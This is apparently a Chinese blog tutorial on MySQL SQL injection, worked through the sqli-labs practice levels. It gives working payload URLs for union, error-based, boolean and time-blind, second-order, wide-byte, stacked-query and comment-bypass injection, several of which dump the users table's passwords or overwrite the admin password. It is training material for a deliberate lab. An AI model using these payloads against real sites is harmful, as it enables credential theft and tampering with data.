SQL注入是通过将恶意的sql语句插入到应用代码中,由于过滤不严导致的在后台执行恶意sql语句而产生的漏洞。
这里以sqli-lab靶场第一关为例,进行实例注入。
源码分析是写给新手阅读的,大佬请跳过。
首先查看一下我们的sqli-lab靶场的第一关的源码,详解如下图所示:
分析完最基础的sql注入后,接下来开始走通用流程注入。
判断注入类型
http://bachang.cn/sqli/Less-1/?id=1' or 1=1 --+
判断字段个数
http://bachang.cn/sqli/Less-1/?id=1' order by 3 --+
判断回显位
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,2,3 --+
查询版本和数据库名
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,version(),database() --+
查询表名和字段名
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security' --+
查询内容
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users --+
以上即为sql注入的通用流程,熟练掌握该流程,即可继续解锁新姿势。
经测试:高版本Mysql可以采用前两种注入,不能采用后三种报错注入。推测以MySql版本5以上为高版本,5.7版本可采用前三种报错注入
原型:ExtractValue( xml_frag , xpath_expr)
在第二个参数中传入0x7e(即~)会使得该函数报错
extractvalue(null,concat(0x7e,(select database()),0x7e))
concat中间的参数即为构造注入的点。
这里以sqli-lab靶场第五关为例,进行实例注入。同样的我们走通用流程,先判断注入类型
http://bachang.cn/sqli/Less-5/?id=1' and 1=2--+
执行完该条EXP后,无任何回显,判断为字符型注入。
由于通用流程中已得出数据库名、表名和字段名,此处不再费唇舌过多介绍构造前几步的exp,因此直接构造最终注入的exp可得:
http://bachang.cn/sqli/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select group_concat(password) from users),0x7e)) --+
原型:updatexml(XML_document, XPath_string, new_value)
在第二个参数中传入0x7e(即~)会使得该函数报错
updatexml(null,concat(0x7e,(SELECT database()),0x7e),null)
这里以sqli-lab靶场第五关为例,进行实例注入。由上ExtractValue注入中可知为字符型注入和之前得出的一些基本信息,故在此直接构造最终EXP进行注入。
http://bachang.cn/sqli/Less-5/?id=1' and updatexml(null,concat(0x7e,(select group_concat(password) from users),0x7e),null) --+
原理:floor,count,group by在一块冲突产生的报错
经测试:MySql版本为8.0.12不支持该报错注入,会提示版本的问题,将其换成5.7即可进行注入。
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2)) as x from information_schema.tables group by x) as a)
这里以sqli-lab靶场第五关为例,进行实例注入。
同样的,此处采用已知数据库的基本信息和字符型注入,直接构造EXP进行注入。
http://bachang.cn/sqli/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(password) from users),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+
提示我们的返回信息超过一行,构造如下exp即可解决改窘境。
http://bachang.cn/sqli/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(username,': ',password,';') from security.users limit 0,1),floor(rand(0)*2)) as x from security.users group by x) as a) --+
此exp非彼exp;此exp为函数exp()。
原型:exp(x)
x为求e的x次方,是一个数学函数,当x>709就会报错
经测试:高点儿的MySql版本基本上无法通过此方式进行注入,会提示DOUBLE字样的错误,即为无法支持该注入,故不再演示。
union select exp(~(select * from(select database()) as a))
采用union进行注入需注意对应字段个数和回显位
进行~0操作即可溢出,导致注入发生。
!(select*from(select user())x)-~0
(select(!x-~0)from(select(select user())x)a)
(select!x-~0.from(select(select user())x)a)
经测试:高点儿的MySql版本基本上无法通过此方式进行注入,会提示错误,即为无法支持该注入,故不再演示。
报错注入在此介绍结束。
布尔盲注会根据注入返回True或False,以此来判断真假。
and (length(database()))>1
and (ascii(substr(database(),1,1)))=1
这里以sqli-lab靶场第七关为例,进行实例注入。
先判断注入类型,这里试了几个我们构造的:
http://bachang.cn/sqli/Less-7/?id=1 and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1' and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1" and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1') and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1") and 1=2 --+
http://bachang.cn/sqli/Less-7/?id=1')) and 1=2 --+
试到最后一个的时候发现如下所示:
之前的提示为:You are in… Use outfile…
故为字符型注入,且构造了两个括号即可绕过。此时我们构造如下exp查找数据库名进行注入:
http://bachang.cn/sqli/Less-7/?id=1')) and length(database())=9 --+
修改最后的数字为8发现显示正常,故该数据库名的长度为8位。继续构造如下exp,依次截取一个字符核对ascii码值:
http://bachang.cn/sqli/Less-7/?id=1')) and (ascii(substr(database(),1,1)))=1 --+
此时我们上burp,进行爆破,burp抓包后Ctrl+I后,设置如下图所示:
然后开始爆破,爆破结束后点击length进行排序,也就是根据返回的数据长度进行排序,长度不一的便是正确的ascii排序结果,这里返回的长度倒是都是一样,打脸,那我们就挨个找返回结果里有”You are in… Use outfile…“的,如下图所示:
最终找到的结果转为ascii对应的字符排序起来为:security,我就不挨个找了。同理我们需要获取字段名和数据,因为之前获取到了表名以及字段名,就不挨个展示获取了,这里就直接构造最终取数据的exp如下:
http://bachang.cn/sqli/Less-7/?id=1')) and length((select password from users limit 0,1))=4 --+
依此判断第一个密码长度为4个,再对其进行爆破,爆破方法同上。**这里需要主义的是limit 0,1:0为第一个。**故构造EXP如下进行爆破:
http://bachang.cn/sqli/Less-7/?id=1')) and (ascii(substr((select password from users limit 0,1),1,1)))=1 --+
设置同上,需注意设置limit第一个参数的七时至应从0开始。爆破结果验证的方法同上采用在返回值里查找关键字符法。
若需要验证users表中有多少个值,则构造exp如下进行验证,这样上面的爆破就只需要挨个爆破limit的范围为0~12即可:
http://bachang.cn/sqli/Less-7/?id=1')) and (select count(password) from users)=13 --+
布尔盲注和时间盲注两者没有太大差别,多了一个if和sleep而已。查询成功则立马回显。
and if(1=2,1,sleep(3))
这里以sqli-lab靶场第九关为例,进行实例注入。
注入方法同上布尔盲注,故在此构造最终exp:
http://bachang.cn/sqli/Less-9/?id=1' and if((ascii(substr((select password from users limit 0,1),1,1)))=68,sleep(3),1) --+
这里我把sleep函数放到if语句的第二个参数了,即条件正确就延迟返回,然后同上爆破即可得出数据。经测试,这一关可通过返回的length长度为依据判断返回结果得出数据。
构造的sql语句插入到数据库,经过其它的sql语句调用时触发
这里没有固定的exp,需要挨个测试找到注入类型,然后修改单引号。
admin'#
这里以sqli-lab靶场第二十四关为例,进行实例注入。
首先点击新建用户,然后输入构造的用户名:
admin'#
输入密码123456,注册。注册成功后我们查看一下数据库用户表的信息,重点关注我截取的两行字段:
然后进行登录,修改密码,这里我们将密码改成123123
点击修改按钮,然后会提示修改成功,此时我们进入数据库查看一下我们的密码修改情况:
可以看到我们本身的密码没有被修改,然后我们admin账户的密码被修改成了123123,实现了二次注入。
宽字符是指两个字节宽度的编码技术,如UNICODE、GBK、BIG5等
宽字节注入指的是mysql使用gbk编码时,gbk编码两个字节代表一个汉字,而网页里使用的是utf-8编码。转义符号被吃掉。
?id=1%df' and 1=1%23
看这个exp,提交后遇到转义函数会被转义为1’,这时,再转换为url编码就是%df%5c%27,而%df%5c会被gbk编码合并成为一个汉字,从而吃掉了第一次的转义符 \ 。造成宽字节注入。
这里以sqli-lab靶场第三十二关为例,进行实例注入。
我们构造如下的exp进行注入:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=1%23
可以看到下方倒数第二行最后面的转义符被吃掉了,成功注入。若未构造%df,则输出的是:1’ and 1=1#。这里我就不再演示了。之后我们构造exp进行注入获取数据库名:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,database() %23
继续获取表名,构造exp如下:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' %23
可以看到构造的exp被转义了。于是想着使用%df继续绕过,构造exp如下:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=%df'security%df' %23
发现居然获取不了,纳闷,仔细观察发现后面注入的转义后为:�’security�’ #也就是说没有security�这个表,当然就找不到了。于是乎,换一种方式进行绕过,将security转成16进制,构造exp如下:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 %23
然后就是对数据进行注入了,就不一一注入了,具体参考sql注入通用流程。此处直接构造最终exp如下:
http://bachang.cn/sqli/Less-32/?id=1%df' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users %23
顾名思义,将多条sql语句一起执行。
前提是mysqli_multi_query()函数执行sql语句,未过滤分号";"
既然都可以堆叠注入了,那就随兴发挥就好
这里以sqli-lab靶场第三十八关为例,进行实例注入。
经过sql通用流程得到的信息,构造exp如下:
http://bachang.cn/sqli/Less-38/?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from security.users;update security.users set password='admin' where username='admin' --+
再次访问这个exp,上图框选处则被改为下图所示:
这里以sqli-lab靶场第三十八关为例,进行实例注入。
/*! xxxx */
xxxx为sql语句中的东西。
正确示例:
select * /*!from users*/;
/*!select*/ * from users;
错误示例:
/*!select * from users*/;
这里以sqli-lab靶场第一关为例,进行实例注入。
http://bachang.cn/sqli/Less-1/?id=1' and 1=2 union /*! select */ 1,2,database() --+
sql注入到此就完结了,光看可不够,还得配合靶场练练手哦~